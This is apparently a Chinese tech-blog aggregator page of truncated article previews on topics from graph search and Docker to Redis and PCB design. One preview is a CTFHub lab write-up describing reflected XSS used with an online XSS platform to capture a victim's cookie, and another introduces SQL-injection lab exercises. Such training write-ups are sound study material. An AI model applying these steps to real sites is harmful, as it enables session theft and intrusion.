深度优先搜索算法&#xff1a;深入探索&#xff0c;穷尽可能 1. 引言 在计算机科学中&#xff0c;深度优先搜索&#xff08;Depth-First Search&#xff0c;简称DFS&#xff09;是一种用于遍历或搜索树或图的算法。这种算法会沿着一个分支走到底&#xff0c;直到这个分支结束…...

鸿蒙系统开发【ASN.1密文转换】安全

ASN.1密文转换 介绍 本示例对使用kit.CryptoArchitectureKit加密后的密文格式进行转换。kit.CryptoArchitectureKit加密后的密文格式默认为以base64显示的ASN.1格式问题&#xff0c;通过对密文进行base64变换后得到字符数组&#xff0c;以16进制数字显示&#xff0c;再此基础…...

【期末复习】软件质量保证与测试

考试内容 a卷 前三个部分(就业前景、岗位、发展前景(第一部分最后一个知识点),第四部分缺陷管理不考) 单选 10*2 判断 12*1 简单3*10 四个小题 (7个 pta部分涵盖+ppt) 设计 10+18 简答题(PTA简答题+PPT) 背完80分以上基本没问题 一、什么是软件。 软件是计算…...

CTFHub——XSS——反射型

1、反射型&#xff1a; 发现为表单式&#xff0c;猜测哪个可能存在注入漏洞&#xff0c;分别做测试注入发现name框存在xss漏洞 输入发现有回显但不是对方cookie&#xff0c;参考wp发现要用xss线上平台 将xss平台测试语句注入&#xff0c;将得到的url编码地址填入url框&#xf…...

docker 部署 libreoffice

创建 jdk 镜像 1、创建 Dockfile 文件 FROM centos:7 ADD jdk-8u212-linux-x64.tar.gz /usr/local RUN mv /usr/local/jdk1.8.0_212 /usr/local/jdk ENV JAVA_HOME=/usr/local/jdk ENV JRE_HOME=$JAVA_HOME/jre ENV CLASSPATH=$JAVA_HOME/lib:$JRE_HOME/lib:$CLASSPATH ENV P…...

预测各种开发语言的市场占比

预测各种开发语言的市场占比是一个复杂且动态的任务&#xff0c;因为它受到多种因素的影响&#xff0c;包括市场需求、技术趋势、项目类型、开发团队的经验和偏好等。然而&#xff0c;我可以根据当前的技术趋势、编程语言排行榜以及市场需求情况&#xff0c;给出一个大致的预测…...

mybatisplus 通用字段自动赋值与更新

1、数据库级别的自动赋值与更新 比如自动更新时间和插入时间 default current_timestamp 插入的时候获取当前 default current_timestamp on update current_timestamp 修改的时候更新时间 无法用数据库更新的通用字段 借助 mybatisplus 的 metaobjecthandler 实现metaob…...

图像生成中图像质量评估指标—FID介绍

文章目录 1. 背景介绍2. 实际应用3. 总结和讨论 1. 背景介绍 Frchet Inception Distance&#xff08;\textbf{FID}&#xff09;是一种衡量生成模型性能的指标&#xff0c;它基于Inception网络提取的特征来计算模型生成的图像与真实图像集合之间的距离。 FID利用了Inception模…...

uniapp全局分享功能实现方法(依赖小程序右上角的分享按钮)

1、uniapp开发小程序时默认是关闭分享功能的。点击右上角三个点可查看&#xff0c;效果图如下&#xff1a; 2、在utils文件夹下新建share.js文件&#xff0c;名字任起。&#xff08;使用的是全局分享&#xff0c;因为一个一个页面的去分享太麻烦且没必要。&#xff09; export…...

Redis中BigKey的判定查找建议

判定依据 key本身的数据量过大:string类型的key它的值为5MBkey中的成员数量过多:一个zset类型的key成员数量为10000个key中的成员数据量过大:一个hash类型的key他的成员只有1000个但是这些value总大小超过100MB查看内存命令 127.0.0.1:6379> hset k1 name 123 age 123 sex…...

Swift-语法基础

一、声明 变量声明 以关键字 var 开头的声明引入变量&#xff0c;该变量在程序执行期间可以具有不同的值。 var str: String "hello" str "hello, world" 常量声明 以关键字 let 开头的声明引入只读常量&#xff0c;该常量只能被赋值一次。 let s…...

面向对象进阶:多态、内部类、常用API

目录 Java中的接口 Java中的内部类 常用API StringBuilder类 Java高级面向对象编程 在这篇博客文章中&#xff0c;我们将探索Java中的高级面向对象编程概念&#xff0c;包括接口、内部类和常用API。每个概念都将通过代码示例来演示它们的应用。 Java中的接口 什么是接口&…...

寸(英寸)、码、斤、公顷等日常中大概的换算单位你清楚吗

这些单位和概念是我们日常生活和工作中不可或缺的部分&#xff0c;理解它们的用途和转换关系可以让我们更有效地处理信息、进行交流和解决问题。 1、寸&#xff08;英寸&#xff09; 1寸&#xff08;或英寸&#xff09;等于0.0254米&#xff0c;2寸等于&#xff1a;20.0254&a…...

Python面试宝典第26题:最长公共子序列

题目 一个字符串的子序列是指这样一个新的字符串&#xff1a;它是由原字符串在不改变字符的相对顺序的情况下删除某些字符&#xff08;也可以不删除任何字符&#xff09;后组成的新字符串。比如&#xff1a;"ace" 是 "abcde" 的子序列&#xff0c;但 "…...

接口测试学习笔记2

一、复习和扩展&#xff1a; 1、金字塔测试模型 UI测试 -- 黑盒 Service 服务层--函数之间的调用 灰盒 接口测试 Unit单元层--白盒测试 趋势&#xff1a;逐步向下发展 测试优先、测试驱动 -- 先考虑怎么测&#xff0c;再考虑怎么开发 满足软件测试的可控范围 2、…...

vue3修改带小数点的价格数字:小数点的前后数字,要分别显示成不同颜色和大小!已经封装成组件了!

需求&#xff1a; 修改带小数点的价格数字&#xff1a;小数点的前后数字&#xff0c;要分别显示成不同颜色和大小&#xff01;已经封装成组件了&#xff01; 效果&#xff1a; 前面大&#xff0c;后面小 代码&#xff1a; 组件&#xff1a; <!--修改小数点前后数字不同…...

JVM(Java虚拟机) - JVM内存分配与内存管理

作者&#xff1a;逍遥Sean 简介&#xff1a;一个主修Java的Web网站\游戏服务器后端开发者 主页&#xff1a;https://blog.csdn.net/Ureliable 觉得博主文章不错的话&#xff0c;可以三连支持一下~ 如有疑问和建议&#xff0c;请私信或评论留言&#xff01; 前言 Java虚拟机&…...

Linux中vim的基本介绍和使用

善为理者&#xff0c;举其纲&#xff0c;疏其网。 vim 1、vim介绍2、命令模式详情3、底行模式详情4、困难问题5、历史存疑问题6、vim配置问题6、1、配置的原理6、2、一键式配置 1、vim介绍 如果我面想要在Linux上编写代码的话&#xff0c;我就需要vim来帮助我们编写代码。但是…...

宝塔面板上,安装rabbitmq

废话不多说&#xff0c;直接上干货&#xff01; 第一步&#xff1a;登录宝塔账号&#xff0c;在软件商店里搜索 第二步&#xff1a;点击设置 第三步&#xff1a;已经完成了&#xff0c;还看啥&#xff01;...

【Docker系列】Docker 镜像管理:删除无标签镜像的技巧

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...

数据采集器

目录 1. 采集Redis 2. 采集MySQL 3. 采集容器 1. 采集Redis 出口商和集成 |普罗 米修斯 (prometheus.io) 发布 奥利弗006/redis_exporter (github.com) 在目标机器上安装redis 上传redis采集器包redis_exporter-v1.53.0.linux-amd64.tar.gz [rootharbor opt]# tar -xf …...

小红书0510笔试-编程题

解题思路&#xff1a; 先射击左边和先射击右边两种情况&#xff0c;就是2*1/n*(n-1)的概率。 解题思路&#xff1a; 枚举所有的评论作为最小值&#xff0c;按评论从大到小排序&#xff0c;每次遍历到的都是最小值。要想得到以该评论为最小值的最大优秀度&#xff0c;就要维护一…...

2024年热门开放式耳机评测!悠律、韶音、声阔到底该选谁?

开放式耳机选购技巧篇&#xff0c;可参考选购&#xff01; 作为一名数码评测博主&#xff0c;这两年用过的开放式耳机不下50款了&#xff0c;市面上的开放式耳机众多&#xff0c;很多人不知道该如何选择&#xff0c;其实选购都是有一定的技巧和规律性的&#xff0c;看配置就能…...

计算机毕业设计选题推荐-智慧物业服务系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…...

新手小白学习PCB设计,立创EDA专业版

本教程有b站某UP主的视频观后感 视频链接&#xff1a;http://【【教程】零基础入门PCB设计-国一学长带你学立创EDA专业版 全程保姆级教学 中文字幕&#xff08;持续更新中&#xff09;】https://www.bilibili.com/video/BV1At421h7Ui?vd_sourcefedb10d2d09f5750366f83c1e0d4a…...

查物流信息用什么软件

在电子商务日益繁荣的今天&#xff0c;快递物流信息的查询成为了我们日常生活中不可或缺的一部分。无论是网购达人还是商家&#xff0c;都需要随时掌握货物的物流动态。然而&#xff0c;如何快速、准确地查询物流信息却是一个令人头疼的问题。今天&#xff0c;我将为大家介绍一…...

(40)温度传感器

文章目录 前言 1 设置 2 记录 3 参数说明 前言 ArduPilot 已经有许多可能的温度报告来源&#xff1a;电调&#xff0c;智能电池&#xff0c;电机 EFI&#xff0c;这些独立的传感器可以用来取代 ArduPilot 中已经存在的那些设备温度报告。它们也可以只是被记录下来。 ArduP…...

【靶场实操】sql-labs通关详解----第二节:前端页面相关(Less-11-Less-17)

SQL注入攻击是一种针对Web应用程序的安全漏洞&#xff0c;那么自然&#xff0c;SQL注入攻击也和前端页面息息相关&#xff0c;用户输入未被正确处理、动态查询的构建、前端JavaScript代码错误&#xff0c;等等我问题都可能造成安全威胁。 在上一节&#xff0c;我们了解了基础的…...